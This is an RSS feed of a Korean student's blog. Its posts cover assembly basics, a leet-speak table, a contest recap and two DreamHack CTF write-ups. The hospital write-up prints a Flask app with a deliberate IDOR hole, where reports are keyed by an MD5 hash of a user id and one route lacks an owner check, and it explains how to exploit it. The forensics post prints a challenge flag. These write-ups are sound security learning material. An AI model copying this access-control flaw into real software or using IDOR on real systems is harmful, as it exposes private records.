<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>coding_pineapple.log</title>
        <link>https://velog.io/</link>
        <description>안녕하떼요 취미로 콤푸타 배우는 고든학교 6학년 유치원생이빈다.</description>
        <lastBuildDate>Thu, 23 Jul 2026 02:15:49 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <image>
            <title>coding_pineapple.log</title>
            <url>https://velog.velcdn.com/images/coding_pineapple/profile/8b686d05-2786-43c7-ad5f-57ecbcdcbc05/image.png</url>
            <link>https://velog.io/</link>
        </image>
        <copyright>Copyright (C) 2019. coding_pineapple.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/coding_pineapple" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[어셈블리어 기초 연산]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4-%EA%B8%B0%EC%B4%88-%EC%97%B0%EC%82%B0</link>
            <guid>https://velog.io/@coding_pineapple/%EC%96%B4%EC%85%88%EB%B8%94%EB%A6%AC%EC%96%B4-%EA%B8%B0%EC%B4%88-%EC%97%B0%EC%82%B0</guid>
            <pubDate>Thu, 23 Jul 2026 02:15:49 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플, 줄여서 코.파.👃입니다
이번 시간에는 어셈블리어 기초 연산에 관해 알아보겠습니다.</p>
<h1 id="어셈블리어란-🥀🥀🥀">어셈블리어란? 🥀🥀🥀</h1>
<p>1947년에 만들어진 어셈블리어는 프로그래밍 언어이며 기계어와 함께 단 둘뿐인 <strong>저급 언어</strong>에 속합니다.</p>
<blockquote>
<p>저급 언어란? 사람이 사용하는 자연어가 아닌, 컴퓨터(하드웨어)가 직접 이해하고 실행하기 쉬운 기계 중심의 프로그래밍 언어</p>
</blockquote>
<p>참고로 여기서의 &#39;저급 언어&#39;란 &#39;수준이 낮다&#39;라는 뜻이 아닌 하드웨어에 가까운 &#39;근원적&#39;이란 의미입니다.</p>
<p>다르게 말하면 &quot;<strong>하드웨어에 가장 가까운 프로그래밍 언어</strong>&quot; 이면서 그만큼 <span style="color: red"><b>매우 어려운</b></span>🔥🔥🔥 언어이기도 합니다</p>
<p>그 예시로 &quot;Hello, World!&quot;를 출력하는 코드를 짤려면</p>
<p>파이썬의 경우</p>
<pre><code>print(&quot;Hello, World!&quot;)</code></pre><p>C의 경우</p>
<pre><code>#include &lt;stdio.h&gt;
int main() {
    printf(&quot;Hello, World!&quot;);
}</code></pre><p>자바의 경우</p>
<pre><code>public class HelloWorld {
    public static void main(String[] args) {
        System.out.println(&quot;Hello, World!&quot;);
    }
}</code></pre><p>등 아무리 길어도 5줄 내외이지만 어셈블리어의 경우</p>
<pre><code>section .data
    msg db &quot;Hello, World!&quot;, 10
    len equ $ - msg

section .text
    global _start

_start:

    ; write(1, msg, len)
    mov rax, 1
    mov rdi, 1
    mov rsi, msg
    mov rdx, len
    syscall


    ; exit(0)
    mov rax, 60
    mov rdi, 0
    syscall</code></pre><p>... 더럽게 ㄱㅣㄹ ㄱㅗ <span style="color: red">어려운 것</p>을 알 수 있습니다.</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/3f04cf96-762b-41b6-ad61-f99f02dfe9df/image.png
" width=65%></p>

<p><del>아마 크리스 소이어씨는 컴퓨터와 1ㄷ1 대화가 가능하지 않을까요</del></p>
<p>하지만 그렇다고 어렵기만 한 언어는 아닙니다</p>
<p>어려운 만큼 <strong>어셈블리어만의 장점</strong>도 있습니다.</p>
<h3 id="하드웨어-직접-제어-가능">하드웨어 직접 제어 가능</h3>
<p>어셈블리어 하드웨어와 매우 근접한 만큼 <strong>하드웨어를 직접 제어</strong>할 수 있는 압도적인 장점이 있습니다</p>
<p>예컨데 <code>int a = 67;</code> 이라고 변수를 할당해주면 컴파일러가 </p>
<pre><code>메모리 할당-&gt;레지스터 사용-&gt;값 저장</code></pre><p>순의 과정을 거치지만 어셈블리어의 경우 
<code>mov rax, 67</code>
처럼 CPU 레지스터에 직접 값을 넣을 수 있습니다 오옹 나이스</p>
<p align='center'><img src="https://opgg-com-image.akamaized.net/attach/images/20200521130927.1049686.jpg" width=30%></p>

<h3 id="매우-빠른-실행-속도">매우 빠른 실행 속도</h3>
<p>위의 내용과 이어지는데 
<strong>CPU 레지스터에 곧바로 값을 넣으므로</strong> 어셈블리어는 매우 빠릅니다</p>
<p align='center'><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRFmXF23aisux1nhkxf2YWZBcAGIG0hOw7C7tZjB1Edgw&s=10" width=30%></p>

<h3 id="용량-간소화">용량 간소화</h3>
<p>어셈블리어는 불필요한 런타임이나 추가 라이브러리 없이 CPU가 직접 처리할 <strong>최소한의 명령어</strong>로만 작성됩니다
그래서 어셈블리어로 만든 프로그램의 용량은 <strong>매우 적습니다.</strong><p align='center'> <img src= "https://velog.velcdn.com/images/coding_pineapple/post/60990091-4b2d-48da-b4cc-8082192dc54a/image.png
" width=30%></p></p>
<h2 id="기본-구조">기본 구조</h2>
<p>어셈블리 명령어는 보편적으로 다음과 같은 구조를 갖습니다.
<code>opcode operand1, operand</code>
<strong>opcode : 실행할 명령
operand : 대상 데이터</strong>
입니다.</p>
<p>그 중에서 Operand의 경우 다음과 같은 데이터가 있습니다</p>
<h4 id="immediate-상수">Immediate (상수)</h4>
<p><strong>값 자체</strong>를 의미합니다.
<code>mov rax, 10</code>
결과 : rax = 10
즉, 걍 숫자 넣는 겁니다. </p>
<h4 id="register-레지스터">Register (레지스터)</h4>
<p><strong>레지스터 값을 사용</strong>합니다.
<code>mov rax, rbx</code>
결과 : RBX 안에 있는 값을 RAX로 복사.</p>
<p><strong>값 복사.</strong></p>
<h4 id="memory-operand">Memory Operand</h4>
<p>여기가 쪼까 어려운데.
<strong>메모리 주소를 참조</strong>합니다.
<code>mov rax, [rbx]</code>
rbx가 저장한 주소의 값을 rax에 저장한다 라는 뜻인데</p>
<p>여기서 rbx가 저장된 주소가 0x401000일 때
0x401000 메모리 주소에 있는 값이 0x41일 경우 
그 메모리 주소에 있는 값까지 기어가서 0x41이라는 값을 rax에 저장합니다.</p>
<p align='center'><img src="https://engineertips.wordpress.com/wp-content/uploads/2019/12/programming-is-not-stressful-at-all.jpg" width=40%></p>

<p>프로그래밍이 가장 쉬웠어요.
-- <del>데이브씨 (26살)</del></p>
<p>...어려운 어셈블리어를 하니까 힘드네요...그러므로..
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>&lt;<br><br><br><br><br><br><br><br><br><br><br><br><br>&lt;<br><br><br><br><strong>다음 주 휴재앳!!!!!!!!!!!!!!!!!</strong>
<img src="https://mblogthumb-phinf.pstatic.net/MjAyNDA5MTJfMjcz/MDAxNzI2MTEzOTA3NjE1.uWXeSZ1Y5C1c4kMyfSdFuTq8viiqX2FYeCKC9ay5kUQg.FjYdSfArhYaCY-ZqwzfsDfGJKw6cZzfjkhlC3m1pZncg.JPEG/%EB%8F%97%ED%8F%AC_%EB%B9%A1%EC%B9%98%EB%8B%A4.jpg?type=w800"></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[LEET]]></title>
            <link>https://velog.io/@coding_pineapple/LEET</link>
            <guid>https://velog.io/@coding_pineapple/LEET</guid>
            <pubDate>Wed, 22 Jul 2026 08:58:29 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 LEET에 관해 알아보겠습니다.</p>
<h1 id="leet">LEET</h1>
<blockquote>
<p>&quot;Y0u 4r3 4n 1d10t h4h4h4&quot;</p>
</blockquote>
<p>Leet(리트)는 영문자 일부를 숫자나 기호로 바꿔 쓰는 인터넷 표현 방식입니다</p>
<p>원래는 1980~1990년대 해커,게임,온라인 등 인터넷 문화에서 사용되었지만</p>
<p>사용자와 구별되는 은어처럼 쓰거나, 금칙어 필터를 피하거나, 그냥 멋있어 보여서 (...) 지금까지도 사용됩니다.</p>
<p align='center'><img src="https://i.namu.wiki/i/WkcnnT2M9GbDz0I2ZMJ76twyyEUDondFF4c0b6r-_3ipyvEyGvg6bQLnh1IFkoSUomw6uIDjm8FMb3kEfUQMYw.webp" width=50%></p>

<p>특히나 CTF을 자주 풀어보셨다면 종종 플래그에 Leet가 들어갑니다</p>
<blockquote>
<p>H3ll0, W0rld!
헬로, 월드!</p>
</blockquote>
<p>다음은 A<del>Z까지의 문자를 ~</del>(짚티를 이용해)~~ Leet에 대략적으로 대응한 표입니다</p>
<table>
<thead>
<tr>
<th align="center">알파벳</th>
<th align="center">대표 LEET</th>
<th align="left">다른 표현</th>
<th align="left">간단한 예시</th>
</tr>
</thead>
<tbody><tr>
<td align="center">A</td>
<td align="center"><code>4</code></td>
<td align="left"><code>@</code>, <code>/\</code>, <code>^</code></td>
<td align="left">HACK → <code>H4CK</code></td>
</tr>
<tr>
<td align="center">B</td>
<td align="center"><code>8</code></td>
<td align="left"><code>|3</code>, <code>13</code>, <code>I3</code></td>
<td align="left">BOMB → <code>80M8</code></td>
</tr>
<tr>
<td align="center">C</td>
<td align="center"><code>(</code></td>
<td align="left"><code>[</code>, <code>&lt;</code>, <code>{</code></td>
<td align="left">CAT → <code>(47</code></td>
</tr>
<tr>
<td align="center">D</td>
<td align="center"><code>|)</code></td>
<td align="left"><code>[)</code>, <code>I&gt;</code>, <code>cl</code></td>
<td align="left">DOG → <code>|)06</code></td>
</tr>
<tr>
<td align="center">E</td>
<td align="center"><code>3</code></td>
<td align="left"><code>€</code>, <code>&amp;</code>, <code>[-</code></td>
<td align="left">LEET → <code>L337</code></td>
</tr>
<tr>
<td align="center">F</td>
<td align="center"><code>|=</code></td>
<td align="left"><code>/=</code> , <code>ph</code></td>
<td align="left">FIRE → <code>|=1R3</code></td>
</tr>
<tr>
<td align="center">G</td>
<td align="center"><code>6</code></td>
<td align="left"><code>9</code>, <code>(_+</code></td>
<td align="left">GAME → <code>64M3</code></td>
</tr>
<tr>
<td align="center">H</td>
<td align="center"><code>#</code></td>
<td align="left"><code>|-|</code>, <code>/-/</code>, <code>}{</code></td>
<td align="left">HACK → <code>#4CK</code></td>
</tr>
<tr>
<td align="center">I</td>
<td align="center"><code>1</code></td>
<td align="left"><code>!</code>, <code>|</code>, <code>][</code></td>
<td align="left">ID → <code>1D</code></td>
</tr>
<tr>
<td align="center">J</td>
<td align="center"><code>_|</code></td>
<td align="left"><code>._|</code>, <code>_]</code></td>
<td align="left">JOKE → <code>_|0K3</code></td>
</tr>
<tr>
<td align="center">K</td>
<td align="center"><code>|&lt;</code></td>
<td align="left"><code>1&lt;</code>, <code>/{</code>, <code>/&lt;</code></td>
<td align="left">KING → <code>|&lt;1N6</code></td>
</tr>
<tr>
<td align="center">L</td>
<td align="center"><code>1</code></td>
<td align="left"><code>|_</code>, <code>£</code></td>
<td align="left">LOVE → <code>10V3</code></td>
</tr>
<tr>
<td align="center">M</td>
<td align="center"><code>/\/\</code></td>
<td align="left"><code>|\/|</code>, <code>/V\</code>, <code>^^</code></td>
<td align="left">ME → <code>/\/\3</code></td>
</tr>
<tr>
<td align="center">N</td>
<td align="center"><code>|\</code></td>
<td align="left"><code>/\/</code>, <code>/V</code>, <code>[\]</code></td>
<td align="left">NO → <code>|\0</code></td>
</tr>
<tr>
<td align="center">O</td>
<td align="center"><code>0</code></td>
<td align="left"><code>()</code>, <code>[]</code>, <code>&lt;&gt;</code></td>
<td align="left">CODE → <code>C0D3</code></td>
</tr>
<tr>
<td align="center">P</td>
<td align="center"><code>|*</code></td>
<td align="left"><code>|&gt;</code>, <code>|7</code>, <code>[]D</code></td>
<td align="left">PRO → <code>|*R0</code></td>
</tr>
<tr>
<td align="center">Q</td>
<td align="center"><code>0_</code></td>
<td align="left"><code>()_</code>, <code>(_, )</code>, <code>9</code></td>
<td align="left">QUIT → <code>0_U17</code></td>
</tr>
<tr>
<td align="center">R</td>
<td align="center"><code>|2</code></td>
<td align="left"><code>12</code>, <code>/2</code>, <code>Я</code></td>
<td align="left">RED → <code>|23D</code></td>
</tr>
<tr>
<td align="center">S</td>
<td align="center"><code>5</code></td>
<td align="left"><code>$</code>, <code>2</code>, <code>§</code></td>
<td align="left">SAFE → <code>54F3</code></td>
</tr>
<tr>
<td align="center">T</td>
<td align="center"><code>7</code></td>
<td align="left"><code>+</code>, <code>-+-</code>, <code>†</code></td>
<td align="left">TEST → <code>7357</code></td>
</tr>
<tr>
<td align="center">U</td>
<td align="center"><code>|_|</code></td>
<td align="left"><code>(_)</code>, <code>µ</code>, <code>L|</code></td>
<td align="left">USER → <code>|_|53R</code></td>
</tr>
<tr>
<td align="center">V</td>
<td align="center"><code>\/</code></td>
<td align="left"><code>|/</code>, <code>|</code></td>
<td align="left">LOVE → <code>10\/3</code></td>
</tr>
<tr>
<td align="center">W</td>
<td align="center"><code>\/\/</code></td>
<td align="left"><code>VV</code>, <code>\V/</code>, <code>uu</code></td>
<td align="left">WEB → <code>\/\/38</code></td>
</tr>
<tr>
<td align="center">X</td>
<td align="center"><code>&gt;&lt;</code></td>
<td align="left"><code>}{</code>, <code>][</code>, <code>)(</code></td>
<td align="left">X → <code>&gt;&lt;</code></td>
</tr>
<tr>
<td align="center">Y</td>
<td align="center"><code>`/</code></td>
<td align="left"><code>¥</code>, <code>|/</code>, <code>j</code></td>
<td align="left">YOU → <code>`/0U</code></td>
</tr>
<tr>
<td align="center">Z</td>
<td align="center"><code>2</code></td>
<td align="left"><code>7_</code>, <code>-/_</code>, <code>%</code></td>
<td align="left">ZERO → <code>23R0</code></td>
</tr>
</tbody></table>
<h2 id="일상에서">일상에서?</h2>
<p>일상에서도 이따끔씩 발견되는 사례가 존재합니다</p>
<p>한 일례로 한국 그림 작가가 교육용 책의 시력검사 그림에 이딴 걸 넣었습니다</p>
<p align='center'><img src="https://i.imgur.com/Lsa9o.jpeg"></p>
저 시력검사 그림의 Leet를 나열하면

<blockquote>
<p>0MG W2F STFU PWN3D URAN00B LMAOROTr</p>
</blockquote>
<p>가 되는데 이를 영어로 한번 치환하고</p>
<blockquote>
<p>OMG what the fuck shut the fuck up pwned you are a noob laughing my ass off</p>
</blockquote>
<p>한국어로 버녘해보면</p>
<blockquote>
<p>오 세상에 ㅅl바 아가리 닥쳐 임마 너 조졌음 너 누비임 종나 웃김ㅋㅋㅋ</p>
</blockquote>
<p>참고로 &#39;어린이 교육용 책&#39;의 삽화입니다. <del>(이뭐병)</del></p>
<p>이상으로 글을 마치겠습니다 감사합니다.</p>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/915c9b10-206c-49c7-ac8a-979665f4d3ee/image.png
" width=50%></p>

]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] Easy-forensic 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-Easy-forensic-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-Easy-forensic-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Tue, 21 Jul 2026 11:45:48 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 Easy-forensic에 관해 풀어보겠습니다.</p>
<h1 id="easy-forensic-📸">Easy-forensic 📸</h1>
<p><a href="https://dreamhack.io/wargame/challenges/3084">https://dreamhack.io/wargame/challenges/3084</a></p>
<p>이지 포렌식입니다 하지만 풀어보면 전혀 <p style="font-size: 2rem; font-weight: bold;"><span style="color:#FF5733">3</span><span style="color:#33FF57">-</span><span style="color:#3357FF">a</span><span style="color:#F333FF">-</span><span style="color:#FF33A8">5</span><span style="color:#33FFF5">-</span><span style="color:#FFA833">Y</span></p>
</p>하지 않죠.
<p align='center'>

<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/b74221dd-565b-4765-9010-ac4dbbb1f585/image.png" width=70%><br><br><br><br><br><br></p>
<p><img src="https://velog.velcdn.com/images/coding_pineapple/post/7b9eec9c-5bb5-4a14-b4ca-d7bd8d2c04ea/image.png
" width=40%></p>문제를 처음 받아보면 다음과 같은 이미지가 나오게 됩니다</p>
<p>누가 봐도 플래그죠</p>
<p><br><br><br><br><br><br></p>
<p><br><br><br>
<br><br><br>
<br><br><br><p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/e0a91b02-2708-4f3c-bcea-0a2855ea2eca/image.png"></p>
</p>아니였네요 :( 🗣️🗣️🗣️🔥🔥🔥🔥🔥

<p align='center'><img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRmqX26MOGFXKdCxVbKX3AprEei9OF-Hy3-ezYOIx58iw&s=10"></p>

<p><del>ADRIAN</del></p>
<h1 id="easy-forensic">Easy-forensic</h1>
<p>아무튼 이 이미지를 Hxd로 돌려 분석해봅시다.</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/4e8dfebe-93cb-4468-b8fc-d432cbd43408/image.png"></p>
이렇게 이미지를 분석해보면 .zip파일 헤더 시그니처가 보이는 것을 알 수 있습니다

<p>해당 파일을 .zip파일로 저장 및 압축 해제를 하면 다음과 같은 내용물이 나오게 됩니다.</p>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/4817c7e2-dbc1-4217-81b2-77bce686ffdb/image.png
"></p>여기서 중요한 힌트가 되는 FLAG 이미지는 <p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/bf05d299-97eb-469a-bd67-317e14aefcd3/image.png
" width=50%></p>따위의 중요한 힌트가 있습니다
그러기 위해서는 GREEN 1과 RED 3파일을 잘 뒤져봐야합니다.

<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/792bc560-a0ca-4609-8ccf-8345a1a96684/image.png
" width=50%><img src="https://velog.velcdn.com/images/coding_pineapple/post/2da6483a-4cf9-45d8-998c-c0af424d4698/image.png" width=50%>
</p>각각 GREEN 1과 RED 3이 되는 파일입니다

<p><del>이것도 좋아라 하며 플래그로 치부하면 안됩니다.</del></p>
<p><a href="https://georgeom.net/StegOnline/upload">링크</a>타고 가서 이미지를 넣고 LSB Half를 눌러 숨겨진 메시지를 확인할 수 있습니다</p>
<blockquote>
<p>LSB는 이진수에서 가장 오른쪽에 위치한 ‘최하위 비트’로, 숫자의 일의 자리처럼 가장 작은 값을 나타낸다.</p>
</blockquote>
<p align='center'><img src="https://velog.velcdn.com/images/coding_pineapple/post/4fb78d02-ac28-4f4b-bf81-7dccd0aebbb5/image.png" width=50%><img src="https://velog.velcdn.com/images/coding_pineapple/post/47303570-ee30-4d3a-ba73-0ee6ff33a530/image.png" width=50%></p>
각각 Hello.py와 SHA256이 나오게 됩니다

<p>즉, 플래그는 <strong>&quot;Hello.py를 SHA-256한 값&quot;</strong> 이라는 결정적인 힌트가 나오게 됩니다</p>
<p>따라서 파일에 있는 Hello.py를 <strong>(통으로)</strong> SHA-256을 돌리면 플래그가 나오게 됩니다.</p>
<p><strong>flag : DH{29df9c6803e0ad7853f285177a370ab1e3c9ffc27e847da84c71db1aff20bca3}</strong>
평가 : 이미지 스테가노그래피를 풀기에 적절한 초급? 문제.</p>
<p align='center'>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcSiBXvGKjm0ZBw0YaLrPZM9J7qR-JlYOc3GbciCnVxwitXMfN1LBaRAZsI&s=10" width=50%>
</p>

<p><del>뭣.</del></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[일상] 2026 해군/해병대 사이버보안, AI 경진대회 후기]]></title>
            <link>https://velog.io/@coding_pineapple/%EC%9D%BC%EC%83%81-2026-%ED%95%B4%EA%B5%B0%ED%95%B4%EB%B3%91%EB%8C%80-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-AI-%EA%B2%BD%EC%A7%84%EB%8C%80%ED%9A%8C-%ED%9B%84%EA%B8%B0</link>
            <guid>https://velog.io/@coding_pineapple/%EC%9D%BC%EC%83%81-2026-%ED%95%B4%EA%B5%B0%ED%95%B4%EB%B3%91%EB%8C%80-%EC%82%AC%EC%9D%B4%EB%B2%84%EB%B3%B4%EC%95%88-AI-%EA%B2%BD%EC%A7%84%EB%8C%80%ED%9A%8C-%ED%9B%84%EA%B8%B0</guid>
            <pubDate>Wed, 15 Jul 2026 12:04:33 GMT</pubDate>
            <description><![CDATA[<p>안녕하세요 코딩 파인애플입니다</p>
<p align='center'>
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcTkQPfjv4egyLdqBHXimb1jlHqIUlMfp2nJAKJY8n0ucA&s=10" ></p>

<p><a href="https://www.news1.kr/photos/7963713">https://www.news1.kr/photos/7963713</a></p>
<p>지난 6월 어쩌다가 해군/해병대 사이버보안 및 AI 경진대회에 참가하게 되었는데 ... 뭐 결론부터 말하자면 일단 전 사이버보안 부분 2등 (우수상) 을 입상하게 되었습니다.</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/08e423a9-f547-48e1-a168-2042fec68b2c/image.jpg" width=30%></p>
재밌게도 1등하고 2등의 상장 디자인이 다른데 저의 경우 2등이므로 해병대 디자인이지만 1등의 경우 해군 디자인 이였습니다. 

<p><del>행정상 해병대가 해군 산하 소속이여서 그런가</del></p>
<h2 id="대회-진행">대회 진행</h2>
<p>우선 대회는 서울 용산 드래곤시티 호텔에서 진행했습니다
그 덕분에 저는 아침 일찍부터 일어나 서울 용산까지 갔습니다...</p>
<p>개회식에는 간단하게 대회 소개, 유의사항, 감삿말 등을 전하며 시작했고 주어진 기기는 CTF 전용 노트북만 주어졌습니다</p>
<p>뭐... 대회를 시작하자마자 간단한 CTF 사이트와 함께 문제가 주어졌는데 사이트 디자인이 해군 레이더망 같은 디자인을 연상시켜서 인상 깊었습니다</p>
<h2 id="문제-풀이">문제 풀이</h2>
<p>우선 문제는 대회 보안상 자세히 알려주긴 어렵지만 대략적으로나마 설명하자면</p>
<p>대회는 CTF형식으로 진행하였고</p>
<p>워게임의 보편적인 키워드들이 죄다 들어갔다고 보시면 되겠습니다</p>
<p>또한 문제마다 난이도가 상당했던지 초반 몇 시간에는 한 문제라도 풀이한 참가자가 많이 없었습니다 (저 또한 마찬가지로)</p>
<p>그래도 다행인 점은 시간이 정말 널널했다는 점입니다 (9시쯤 시작해서 7~8시에 중퇴했으니...)</p>
<p>그 덕분에 여유있게 문제를 풀었던 것 같습니다</p>
<h2 id="그래서">그래서?</h2>
<p>일단 저는 상을 딸 생각은 없었고 그냥 어쩌다가 참가하게 된 사람1이였지만 기왕 온 김에 자기딴에서 최선을 다해 풀이를 했던 것 같습니다 그래도 뭐 결론적으론 2등으로 우수상을 입상했고 저 또한 풀이를 하면서 여러가지 취약점을 알게 되어 보안 지식이 많이 늘었던 경험인 것 같습니다</p>
<p>향후 똑같이 대회가 개최된다면 저는 또 참가할 의향이 있으며 최우수상 (1등)을 목표삼을 예정입니다.</p>
<p>이상으로 글을 마치겠습니다 감사합니다</p>
<p align:'center'>
<img src="https://dcimg1.dcinside.com/viewimage.php?id=23bcc63f&no=24b0d769e1d32ca73ded8ffa11d028313550f9fb3f9dac8b24082c81cb595a58d460972fcbcf7ed26be1ceb4e041080cf61cce603660bf340b4d0a57399c&orgExt" width=60%></p>]]></description>
        </item>
        <item>
            <title><![CDATA[[DreamHack] 드림 병원 🌱 풀이]]></title>
            <link>https://velog.io/@coding_pineapple/DreamHack-%EB%93%9C%EB%A6%BC-%EB%B3%91%EC%9B%90-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@coding_pineapple/DreamHack-%EB%93%9C%EB%A6%BC-%EB%B3%91%EC%9B%90-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Tue, 14 Jul 2026 11:34:23 GMT</pubDate>
            <description><![CDATA[<p>안녕하십니까 코딩 파인애플입니다
이번에는 드림 병원 🌱에 관해 풀어보겠습니다.</p>
<h1 id="드림-병원-🌱">드림 병원 🌱</h1>
<p><a href="https://dreamhack.io/wargame/challenges/2814">https://dreamhack.io/wargame/challenges/2814</a></p>
<p>저희 드림 병원은 환자 정보를 안전하게 보호하고 있습니다. 🏥
...</p>
<p align='center'>
<img src="https://i.namu.wiki/i/Lklepzvl_VG_f1_ns_Z8jE2L-r2KGOOr03dp2MrN3o3vFavrxj2q_kJmzXTEgc8S94dHcH6vJCv887wmTX57iv9-Oa2CsczwQGo9A3BydWOQfln9HaYd-kvSMSGhtS6aGsqs1MCTKoipFLdwAOm_BL-sODNb9aCZAHgTlM9Ql3Y.webp" width=60%></p>


<pre><code>import hashlib
import os
from flask import Flask, render_template, request, redirect, url_for, session, abort

app = Flask(__name__)
app.secret_key = os.urandom(24).hex()

health_records = {
    1: {
        &quot;name&quot;: &quot;김깃발&quot;,
        &quot;date&quot;: &quot;2024-03-10&quot;,
        &quot;height&quot;: &quot;175cm&quot;,
        &quot;weight&quot;: &quot;70kg&quot;,
        &quot;blood_pressure&quot;: &quot;120/80&quot;,
        &quot;diagnosis&quot;: &quot;특이사항 없음 (검진완료)&quot;,
        &quot;summary&quot;: &quot;DH{This_is_fake_flag}&quot;, #❕플래그 위치
        &quot;owner&quot;: &quot;admin&quot;
    },
    125: {
        &quot;name&quot;: &quot;김드림&quot;,
        &quot;date&quot;: &quot;2024-03-25&quot;,
        &quot;height&quot;: &quot;180cm&quot;,
        &quot;weight&quot;: &quot;75kg&quot;,
        &quot;blood_pressure&quot;: &quot;115/75&quot;,
        &quot;diagnosis&quot;: &quot;비타민 D 부족 권고&quot;,
        &quot;summary&quot;: &quot;전반적으로 양호하며 꾸준한 운동을 권장합니다.&quot;,
        &quot;owner&quot;: &quot;guest&quot;
    }
}

def get_hash(uid):
    return hashlib.md5(str(uid).encode()).hexdigest()

@app.route(&#39;/&#39;)
def index():
    if &#39;user&#39; in session:
        return redirect(url_for(&#39;dashboard&#39;))
    return render_template(&#39;index.html&#39;)

@app.route(&#39;/auth/login&#39;, methods=[&#39;POST&#39;])
def login():
    if request.form.get(&#39;username&#39;) == &#39;guest&#39; and request.form.get(&#39;password&#39;) == &#39;guest&#39;:
        session[&#39;user&#39;] = &#39;guest&#39;
        return redirect(url_for(&#39;dashboard&#39;))
    return &quot;Login Failed&quot;, 401

@app.route(&#39;/auth/logout&#39;)
def logout():
    session.pop(&#39;user&#39;, None)
    return redirect(url_for(&#39;index&#39;))

@app.route(&#39;/dashboard&#39;)
def dashboard():
    if &#39;user&#39; not in session:
        return redirect(url_for(&#39;index&#39;))

    user_data = health_records[125]
    return render_template(&#39;dashboard.html&#39;, user_hash=get_hash(125), name=user_data[&#39;name&#39;])

@app.route(&#39;/report/view/&lt;user_hash&gt;&#39;)
def view_report(user_hash):
    if &#39;user&#39; not in session:
        return redirect(url_for(&#39;index&#39;))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            if data[&#39;owner&#39;] != session[&#39;user&#39;]:
                return &quot;&lt;h1&gt;Access Denied&lt;/h1&gt;&quot;, 403
            return render_template(&#39;report.html&#39;, data=data, user_hash=user_hash)

    return &quot;Not Found&quot;, 404

@app.route(&#39;/report/download/&lt;user_hash&gt;&#39;)
def download_report(user_hash):
    if &#39;user&#39; not in session:
        return redirect(url_for(&#39;index&#39;))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            return render_template(&#39;print.html&#39;, data=data)

    return &quot;Not Found&quot;, 404

if __name__ == &#39;__main__&#39;:
    app.run(host=&#39;0.0.0.0&#39;, port=5000, debug=False)</code></pre><p>일단 guest/guest를 통해 guest로 로그인 해봅시다</p>
<p align='center'>
<img src="https://velog.velcdn.com/images/coding_pineapple/post/4d7360a9-98b1-48df-b275-3ebda0942bbf/image.png
" width=90%></p>

<p>음, 코드를 살펴봅시다</p>
<p>코드를 보시면 다음과 같이 의심스러운 부분이 존재합니다</p>
<pre><code>def get_hash(uid):
    return hashlib.md5(str(uid).encode()).hexdigest()


...


@app.route(&#39;/report/view/&lt;user_hash&gt;&#39;)
def view_report(user_hash):
    if &#39;user&#39; not in session:
        return redirect(url_for(&#39;index&#39;))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            if data[&#39;owner&#39;] != session[&#39;user&#39;]:
                return &quot;&lt;h1&gt;Access Denied&lt;/h1&gt;&quot;, 403
            return render_template(&#39;report.html&#39;, data=data, user_hash=user_hash)

    return &quot;Not Found&quot;, 404</code></pre><p>이렇게 다음과 같이 uid를 문자열로 변환한 뒤 MD5 알고리즘으로 해싱하고, 그 결과를 16진수 문자열로 반환하는 구문을 url에 넣어 IDOR이 가능함을 유추할 수 있습니다.</p>
<p><code>report/view/3def184ad8f4755ff269862ea77393dd</code></p>
<p>guest로 로그인하시면 url이 다음과 같이 나오는 것을 알 수 있으며 이는 125의(health_record의 guest번호) get_hash() 값임을 알 수 있습니다</p>
<p>따라서 저희는 owner가 admin의 번호가 되는 1을 get_hash()에 넣어 IDOR를 시도할 수 있습니다.</p>
<p>하지만 이걸 곧이곧대로 /report/view/<user_hash> 에 넣게 되면 코드처럼 &#39;Access Denied&#39;가 나오게 됩니다</p>
<p>결과표가 되는 /report/download/<user_hash> 는 좀 다른 결과가 나옵니다</p>
<pre><code>@app.route(&#39;/report/download/&lt;user_hash&gt;&#39;)
def download_report(user_hash):
    if &#39;user&#39; not in session:
        return redirect(url_for(&#39;index&#39;))

    for uid, data in health_records.items():
        if get_hash(uid) == user_hash:
            return render_template(&#39;print.html&#39;, data=data)

